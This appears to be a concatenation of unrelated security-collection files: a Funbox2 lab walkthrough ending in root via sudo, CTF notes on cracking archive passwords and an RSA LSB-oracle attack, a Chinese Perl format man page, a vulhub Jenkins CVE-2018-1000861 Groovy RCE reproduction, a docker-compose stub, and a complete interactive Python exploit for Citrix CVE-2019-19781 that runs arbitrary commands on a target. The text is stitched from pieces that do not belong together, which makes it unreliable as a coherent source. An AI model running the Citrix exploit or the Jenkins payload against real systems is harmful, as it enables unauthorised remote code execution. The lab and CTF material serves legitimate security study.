80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 08:00:27:5A:06:B2 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.03 seconds
```
ftp匿名登录
```
┌──(root㉿kali)-[~/Desktop]
└─# ftp 192.168.2.14
Connected to 192.168.2.14.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:192.168.2.14]
Name (192.168.2.14:root): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230-Welcome, archive user anonymous@192.168.2.5 !
230-
230-The local time is: Thu Sep 08 13:06:34 2022
230-
230-This is an experimental FTP server. If you have any unusual problems,
230-please report them via e-mail to <root@funbox2>.
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||47571|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 2 ftp ftp 4096 Jul 25 2020 .
drwxr-xr-x 2 ftp ftp 4096 Jul 25 2020 ..
-rw-r--r-- 1 ftp ftp 153 Jul 25 2020 .@admins
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 anna.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 ariel.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 bud.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 cathrine.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 homer.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 jessica.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 john.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 marge.zip
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 miriam.zip
-r--r--r-- 1 ftp ftp 1477 Jul 25 2020 tom.zip
-rw-r--r-- 1 ftp ftp 114 Jul 25 2020 .@users
-rw-r--r-- 1 ftp ftp 170 Jan 10 2018 welcome.msg
-rw-rw-r-- 1 ftp ftp 1477 Jul 25 2020 zlatan.zip
226 Transfer complete
```
下载所有 zip 文件后首先我们使用 zip2john 工具生成所有文件的哈希。我们只破解了两个 zip 文件 `cathrine.zip` 和 `tom.zip`。让我们提取 zip 文件数据 提取文件后,我们找到了一个私有 SSH 密钥
```
zip2john tom.zip > tom.hash
john --wordlist=/usr/share/wordlists/rockyou.txt tom.hash
unzip tom.zip
```

使用密钥登录

查看`.mysql_history`找到tom的密码:`xx11yy22!`
```
tom@funbox2:~$ cat .mysql_history
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables
;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit
tom@funbox2:~$ sudo -l
[sudo] password for tom:
Matching Defaults entries for tom on funbox2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tom may run the following commands on funbox2:
(ALL : ALL) ALL
tom@funbox2:~$ sudo su root
root@funbox2:/home/tom# id
uid=0(root) gid=0(root) groups=0(root)
root@funbox2:/home/tom#
```
|
sec-knowleage
|
# Challenge 2
In the previous challenge, we found a RAR file hidden inside a JPEG file, time to try and extract it:
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# unrar x 2F668.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Enter password (will not be echoed) for 2F668.rar:
Program aborted
```
Looks like it's password-protected. Can we crack the password using `John the Ripper`?
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# rar2john 2F668.rar
2F668.rar:$rar5$16$579d4072e134154ad96dc406a4c79a2a$15$b3e6f0509aad72672c4704a6ecde25f2$8$79fbf0734b305be8
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# rar2john 2F668.rar > rar.john
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# ~/utils/john/run/john rar.john --wordlist=/root/utils/dictionaries/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
Password! (2F668.rar)
1g 0:00:02:49 DONE (2020-09-17 21:16) 0.005889g/s 267.2p/s 267.2c/s 267.2C/s SEXYLOVE..LAURITA
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
Looks like the password is `Password!`. Let's use it to extract the archive:
```console
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# unrar x -pPassword! 2F668.rar
UNRAR 5.50 freeware Copyright (c) 1993-2017 Alexander Roshal
Extracting from 2F668.rar
Extracting Payload.png OK
All OK
root@kali:/media/sf_CTFs/hoshen/1/_Sukkah.jpg.extracted# file Payload.png
Payload.png: PNG image data, 2100 x 1575, 8-bit colormap, non-interlaced
```
We got a PNG file.
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLFORM 1"
.TH PERLFORM 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide"
.SH "NAME"
perlform \- Perl 格式
.SH "DESCRIPTION 描述"
.IX Header "DESCRIPTION"
Perl的一些内部机制、可以帮助我们产生一份简单的格式化图表。经过perl的处理,你列印的格式可以接近於你所见的外貌。它可以记录如你现在正处在哪个页面,每个页面的行数与何时列印出页面的标题。关键字,format() 格式函数与write()执行函数是直接引自FORTRAN语法。详情可参阅 perlfunc。幸运的是列印的格式可读性又有所提高。几乎类似BASIC 的PRINT USING。可以把它想象为简单的 \fInroff\fR\|(1).
.PP
有如子程序与包一样,格式只是语句的声明,而不是执行调用。故它可以放在程式的任何位置(一般最好是把它们集中在一块)。与perl的其它变量名字类型不同, 格式命名有别於一般的独自的定义。也就是说,你有一个名为Foo的函数,它与另一个格式名称为Foo的东西是完全不同。但是缺省的格式名称与有关连的文件句柄可用相同的名字。所以缺省的输出格式名称STDOUT,它的文件句柄名称就是STDOUT。而对缺省格式名称TEMP,它的文件句柄名称也可以是TEMP。虽然名称一样但两者并不相同。
.PP
输出格式的语法如下:
.PP
.Vb 3
\& format NAME =
\& FORMLIST
\& .
.Ve
.PP
如省略格式名称,格式名称将以标准输出STDOUT命名。而格式项目将包括了好几个连续横行。每一行属於下列叁种型态之一:
.IP "1." 4
注释(comment), 以符号“#”置於每行的开头。
.IP "2." 4
图案行(picture line),规定了单一行的格式化外观。
.IP "3." 4
参数行, 提供一些数值以对应前面的图案行。
.PP
图案行的输出效果就与我们看到的一样,除了某些值域栏位会给相对应数值取代外,每个输入栏位都以一个@或 ^ 控制符开头。这些单行内的控制符不能做任何窜改取代(勿与数组变量@混淆)。@栏位是属於正常形态的栏位,而^栏位则用来表示可以输入多行文字。至於该栏位则由< > 或 | 符号跟随其後指定向左、右、或居中对齐。并同时跟据该符号的数目,输入指定资料的长度。如变量内容超过限定长度、格式列印时会自动删除多馀的部份。
.PP
另一种指定向右对齐方式,是使用#符号来指定一个数字栏位。如此可方便小数点定位。如果输入值里还包含一个换行字元(\n),则仅列印出该换行字元前的资料。最後图案行出现的@*这个特别符号标记,可以用来列印多行并且不被截掉的数值。
.PP
接下来的一行、是跟据图案行里的值域栏位输入相应的数值。如果是利用运算式提供数值的话、必须以逗号分隔。因为所有的表示法都会被当成一个串连内容再行处理。所以一个单一的串列表示法也可产生多个串列资料。如果表示法是利用括号围起,可能会展开好几行。若想如是安排,第一行的第一个单字必须是以左括号开始。如果运算式内有小数点的数字类型须要处理、同时图案行的相关符号也指出小数位须列印出来(除了图案行内的包含小数点"."的数字控制符号#外)。小数点列印出的外貌, 以当地的运行版本决定(LC_NUMERIC locale)。也就是说、在德文地区使用小数格示输出时、小数点的显示将是","而非"."。相关资料请参考 perllocale 与 "警告"
.PP
图案行里的栏位如果以^控制符开头、格式将会作特殊化处理。如果该栏位是注解栏位又没定义其值、栏位将以空白取代。若是其它型态、则视为一种填补资料的状态。 在此、我们不能随便填入任意表示法进去。相反、必须以相关的变量输入字串内容。perl会尽量将文字放入该栏位、然後把字串的前面部份删去。当你下次使用该字串变量时、可以使用後面的字串部份(换句话说、在执行write函数时、字串变量的内容是会改变的)。正常情况下、你必须使用一类似垂直状的堆块来放置要输入的文字、以便整齐列印出一柱状文字。如你列印的文字太长、想以"..."取代过长的文字时、你可以藉由更改 $: 变量值来取代分隔字元。也就是当你使用ENGLISH模块时的 $FORMAT_LINE_BREAK_CHARACTERS的意思。
.PP
使用^符号栏位可产生不定长度的记录栏位。如果要列印的文字很短、你想压缩掉文字後的空白、请在想压缩掉的空白地方加上一个"~"控制符号。如果重复使用两个"~"符号、则该行会被重复列印、直到该栏位的所有文字列印完毕为止 (如你同时使用"@"值域栏位的话、切记每次要输入不同的数值)。
.PP
列印格示标题的缺省处理方法、是将正使用的格式名称後加上_TOP字样既可。其内容将会列印至每页的开头部份。请参考 perlfunc/write 函数
.PP
例如:
.PP
.Vb 10
\& # a report on the /etc/passwd file
\& format STDOUT_TOP =
\& Passwd File
\& Name Login Office Uid Gid Home
\& ------------------------------------------------------------------
\& .
\& format STDOUT =
\& @<<<<<<<<<<<<<<<<<< @||||||| @<<<<<<@>>>> @>>>> @<<<<<<<<<<<<<<<<<
\& $name, $login, $office,$uid,$gid, $home
\& .
.Ve
.PP
.Vb 29
\& # a report from a bug report form
\& format STDOUT_TOP =
\& Bug Reports
\& @<<<<<<<<<<<<<<<<<<<<<<< @||| @>>>>>>>>>>>>>>>>>>>>>>>
\& $system, $%, $date
\& ------------------------------------------------------------------
\& .
\& format STDOUT =
\& Subject: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $subject
\& Index: @<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $index, $description
\& Priority: @<<<<<<<<<< Date: @<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $priority, $date, $description
\& From: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $from, $description
\& Assigned to: @<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $programmer, $description
\& ~ ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $description
\& ~ ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $description
\& ~ ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $description
\& ~ ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $description
\& ~ ^<<<<<<<<<<<<<<<<<<<<<<<...
\& $description
\& .
.Ve
.PP
我们也有可能在同一个输出管道同时使用print 与 write函数。但使用时、必须修改$-的特殊内置变量值(使用English模块的话、则是使用$FORMAT_LINES-LEFT变量)。
.Sh "Format Variables 格式变量"
.IX Subsection "Format Variables"
当前的格式名称一向都是存放於$~这个特殊变量内($FORMAT_NAME),而每页的开头格式则存放在$^($FORMAT-TOP_NAME),输出页为$%($FORMAT_PAGE_NUMBER),每页行数是$= ($FORMAT_LINE_PER_PAGE),自动输出格式是放在$|($OUTPUT_AUTOFLUSH)、要输出到每页开头部份的字串存放在$^L ($FORMAT-FORMFEED)。这些变量的有效范围,都是以某一个文件句柄为单元。因此、你必须调用select()函数来调用适当的文件句柄来改变变量内容。
.PP
.Vb 4
\& select((select(OUTF),
\& $~ = "My_Other_Format",
\& $^ = "My_Top_Format"
\& )[0]);
.Ve
.PP
难看吧!这就是一般用法。如此一来、你至少可用临是变量来存放前一个文件句柄。事实上、这已是较好的作法,除了可读性提高外、也提供你一个位置暂停程式的执行,方变你一次到位除错。
.PP
.Vb 4
\& $ofh = select(OUTF);
\& $~ = "My_Other_Format";
\& $^ = "My_Top_Format";
\& select($ofh);
.Ve
.PP
如果你使用English模块,你甚至可以输入英文变量名称
.PP
.Vb 5
\& use English '-no_match_vars';
\& $ofh = select(OUTF);
\& $FORMAT_NAME = "My_Other_Format";
\& $FORMAT_TOP_NAME = "My_Top_Format";
\& select($ofh);
.Ve
.PP
但你还是要调用select()函数。因此我们建议你用FileHandle模块。现在你可用小写英文字母的格式名称来处理这些特殊变量。
.PP
.Vb 3
\& use FileHandle;
\& format_name OUTF "My_Other_Format";
\& format_top_name OUTF "My_Top_Format";
.Ve
.PP
好多了吧!
.SH "NOTES"
.IX Header "NOTES 附注"
因为数值行的内容可能保括任何的表示法 (我们指的是 @ 栏位而非 ^ 栏位)。因此你可使用其它函数、建立更加复杂的处理方法。好像使用 printf 函数、或自己定义的函数。列如:
.PP
.Vb 4
\& format Ident =
\& @<<<<<<<<<<<<<<<
\& &commify($n)
\& .
.Ve
.PP
在栏位输入真正的@ 或^符号:
.PP
.Vb 4
\& format Ident =
\& I have an @ here.
\& "@"
\& .
.Ve
.PP
将整行字置中对齐:
.PP
.Vb 4
\& format Ident =
\& @|||||||||||||||||||||||||||||||||||||||||||||||
\& "Some text line"
\& .
.Ve
.PP
我们并无任何内建的方法让你指定如、某个栏位要对齐该页面最右等诸如此类事项。但你仍然能列印出你想要的格式。跟据目前页面直行数目,调用eval()函数来处理它:
.PP
.Vb 9
\& $format = "format STDOUT = \en"
\& . '^' . '<' x $cols . "\en"
\& . '$entry' . "\en"
\& . "\et^" . "<" x ($cols-8) . "~~\en"
\& . '$entry' . "\en"
\& . ".\en";
\& print $format if $Debugging;
\& eval $format;
\& die $@ if $@;
.Ve
.PP
它可能列印出下列格式外貌:
.PP
.Vb 6
\& format STDOUT =
\& ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
\& $entry
\& ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~
\& $entry
\& .
.Ve
.PP
下面是一个有点类似fmt(1)的小程式:
.PP
.Vb 3
\& format =
\& ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~
\& $_
.Ve
.PP
.Vb 1
\& .
.Ve
.PP
.Vb 5
\& $/ = '';
\& while (<>) {
\& s/\es*\en\es*/ /g;
\& write;
\& }
.Ve
.Sh "Footers 页脚"
.IX Subsection "Footers"
虽然我们有$FORMAT_TOP_NAME来记录每页开头部份的格式,却没有一个相对应的方法来自动指定每页的底部格式。问题是、我们并不知到某个格式资料可能会多大,除非你真的去执行它。这是我们将来要处理的重点之一。
.PP
这是一个暂时的应用方案 如果你有一个固定大小的页脚、你可在每次调用write函数前检查变量$FORMAT_LINES_LEFT,然後自行印出该资料。
.PP
还有一个方法,就是开启一个管道。调用open(MYSELF,”|-”) (参考 perlfunc/open() 函数)。并调用write函数把资料输往MYSELF、而不是标准输出STDOUT。然後利用子串列的标准输入、来重新处理每页开头或结尾所要附加的资料部份。这虽不方便,但还是可办到的。
.Sh "Accessing Formatting Internals 格式处理的核心"
.IX Subsection "Accessing Formatting Internals"
至於低阶格式的机制,你可调用formlin()函数直接处理$^A变量($ACCUMUNATOR)。
.PP
例如:
.PP
.Vb 3
\& $str = formline <<'END', 1,2,3;
\& @<<< @||| @>>>
\& END
.Ve
.PP
.Vb 1
\& print "Wow, I just stored `$^A' in the accumulator!\en";
.Ve
.PP
或是设计一个子程式swrite()。它对于 write 的脚色相当于sprint 对于 print。
.PP
.Vb 8
\& use Carp;
\& sub swrite {
\& croak "usage: swrite PICTURE ARGS" unless @_;
\& my $format = shift;
\& $^A = "";
\& formline($format,@_);
\& return $^A;
\& }
.Ve
.PP
.Vb 5
\& $string = swrite(<<'END', 1, 2, 3);
\& Check me out
\& @<<< @||| @>>>
\& END
\& print $string;
.Ve
.SH "WARNINGS 警告"
.IX Header "WARNINGS"
不当处理显示结束格示内容的点操作符号、有时也会同时影响你的网络的电邮功能(跟据过往经验、错误是必然而不能避免)。如果使用电邮输出格式内容、你应先处理好结束格式点操作符位置。切勿放置於左边界、以免被SMTP截去。
.PP
局部变量(引用”my”定义变量)、在调用格式化输出时不会被察觉。除非在使用局部变量的串程内另行定义(5.001版本前并没有局部变量一词)。
.PP
格式输出是 perl 语言里维一受制於编程使用地区的部分。如果当前的使用地区使用LC_NUMERIC,那小数点符号的格式化输出必以当地方式显示。perl 不会理会当地的所须格式,除非你调用了 use locale。但格式列印又不受控於use locale。因为locale 它只在使用的块内有效。同时跟据历史原因、格式的作用域不仅包括在块内。进一步详情参阅 perllocale 本地化文档。
.PP
格式输出时、程式串内的空白符号\n,\t,\t相当於一个空白单元。所以你可以想像格式列印相当於先处理变量:
.PP
.Vb 1
\& $value =~ tr/\en\et\ef/ /;
.Ve
.PP
除非图案行已定义、馀下的空白符号\r 将强制性另印新行。
.SH "中文版维护人"
.B 小高 <you@email.com>
.SH "中文版最新更新"
.B 2001年12月9日星期日
.SH 中文手册页翻译计划
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
#!/usr/bin/env python
# https://github.com/mpgn/CVE-2019-19781
# # #
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break
|
sec-knowleage
|
# Easy pub (crypto)
In the task we get [source code](easypub.py) of a service.
We can `register` there and we get some kind of ticket with signatures, which we can use to login.
If we login as admin, we will get the flag, but this requires some `secret admin key`.
This secret key is embedded in ticket we get:
```python
msg = name + b'\x00' + bytes(admin_k, 'ISO-8859-1')
if size(bytes_to_long(msg)) > 700:
print('Too long username')
continue
msg = msg + urandom(120 - len(msg))
msg = bytes_to_long(msg)
if msg % 2 == 1:
msg += 1
sig = cry.sign(msg)
ticket = cry.encrypt(msg)
print(ticket)
print(sig[0])
print(sig[1])
```
So if we could decrypt the ticket, we would get the necessary `admin_k` value.
There are two things to notice here already:
- We can cause an error when `name + b'\x00' + bytes(admin_k, 'ISO-8859-1')` is longer than 700 bits, and therefore we can easily recover the length of `admin_k` by iteratively sending longer names. From this we get that the length of the secret key is 45 bytes long.
- The script makes sure that the `msg` is an even number.
When we try to login we're asked for the ticket and signatures:
```
elif choice[0] == 'l':
ticket = int(input('ticket:>>'))
sig0 = int(input('sig[0]'))
sig1 = int(input('sig[1]'))
msg = cry.decrypt(ticket)
if msg % 2 == 1:
print('A bit is wrong, may be something is wrong.')
continue
if cry.verify(msg, (sig0, sig1)) == cry.verify(msg, (sig1, sig0)):
print('Wrong signature!')
```
The script checks if the decrypted message is still even (as it should be), and if it's not there is an error message.
If we look at how the ticket encryption works it's simply:
```python
def encrypt(self, msg):
return self.rsa.encrypt(msg, None)[0]
```
So a textbook RSA encryption.
When we connect to the challenge we get the public key (e,n) values.
I don't really know what was the purpose of the ElGamal signature here, because we already have all that we need.
We have a Least-Significant-Bit Oracle here.
We can send encrypted payload to the server, and the server tells us if the LSB is 1 (error message) or 0 (no error message).
We've already described the approach for such case:
- https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit
- https://github.com/p4-team/ctf/tree/master/2016-12-16-sharifctf7/crypto_150_lsb
So we won't go into much details here.
Long story short, we can use binary search to narrow-down the value of decrypted plaintext.
We know that `n` is a product of some prime numbers, which are all `odd` (except for 2, but we can see it's not the case).
Therefore `n` itself has to be `odd` as well.
Textbook RSA is simply:
`msg^e mod n`
and therefore if we multiply this by
`2^e mod n`
we get
`(msg^e * 2^e) mod n = (msg*2)^e mod n`
And `2*x` has to be `even` number.
Now if `msg*2` is smaller than `n` the `mod n` operation does nothing, and the result is still `even`.
But if `msg*2` is bigger than `n` then `mod n` operation will cut the number, and since `n` is `odd` the result will be `odd` as well.
If we therefore use our LSB Oracle and check the last bit of `msg*2` we will know if `msg` is smaller or bigger than `n/2`.
Then we can repeat the whole process using `msg*4` again narrowing down the upper or lower limit for the `msg`.
We have a solver for this in crypto-commons: https://github.com/p4-team/crypto-commons/blob/master/crypto_commons/oracle/lsb_oracle.py
So we can run:
```python
from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
from crypto_commons.oracle.lsb_oracle import lsb_oracle
def oracle(s, payload):
send(s, 'l')
receive_until_match(s, "\:\>\>", None)
send(s, str(payload))
send(s, str(1))
send(s, str(1))
data = receive_until_match(s, "\:\>\>", None)
return "bit is wrong" in data
def multiplicate(x, e, n):
return (pow(2, e, n) * x) % n
def main():
url = "47.75.53.178"
port = 9999
s = nc(url, port)
data = receive_until_match(s, "\:\>\>", None).split("\n")
e = int(data[1])
n = int(data[2])
print(e, n)
send(s, 'r')
receive_until_match(s, "\:\>\>", None).split("\n")
send(s, 'test')
data = receive_until_match(s, "\:\>\>", None).split("\n")
ct = int(data[0])
lsb_oracle(ct, lambda x: multiplicate(x, e, n), n, lambda ct: oracle(s, ct))
main()
```
The server was very slow and the timeout was 200s, so we could not recover the full `msg` but we managed to get:
```
bit = 841
upper = 4430931344985544684813124199015272502018314572043348981999211916350388629990315386099138633492940320015200000014369473301421041939195746043762808791461201289927287863927440625964711109289704498508938867370891142910412212369289674088889782436698592352015196254176928757848616673440497064363
upper flag = test1qsxcvghyu89olkmnbvd2#$%^&*()_OKMNBFRT:"><~&*m~?<???e?Ki???6??v?k??w??f?g?He)?ztҐ???4?xÆ?fJ?V???+u?å?٫
lower = 4430931344985544684813124199015272502018314572043348981999211916350388629990315386099138633492940320015200000014369473301421041939195746043762808791461201289927287863927440625964711109289704498508938867370891142910412212369289674088880817920880377586923723058411773091162928984722671831723
lower flag = test1qsxcvghyu89olkmnbvd2#$%^&*()_OKMNBFRT:"><~&*m~?<???e?Ki???6??v?k??w??f?g?He)?ztҐ???4?õ???? 7ݤU?T)?Ɗ?
```
We used username `test`, and we know that we need 45 bytes after `\x00` marker, and we can see that already both upper and lower approximation are equal for more than that so the secret key we need is `1qsxcvghyu89olkmnbvd2#$%^&*()_OKMNBFRT:"><~&*`
We can now try to login as admin and recover the flag: `HITBXCTF{easy_pub_so_c000l}`
|
sec-knowleage
|
version: '2'
services:
spring:
image: vulhub/spring-cloud-function:3.2.2
ports:
- "8080:8080"
|
sec-knowleage
|
# Jenkins远程命令执行漏洞(CVE-2018-1000861)
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
参考链接:
- http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
- http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
- https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
## 环境搭建
执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。
## 漏洞复现
使用 @orangetw 给出的[一键化POC脚本](https://github.com/orangetw/awesome-jenkins-rce-2019),发送如下请求即可成功执行命令:
```
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
```

`/tmp/success`已成功创建:

|
sec-knowleage
|
# 发行版
<p align="center">
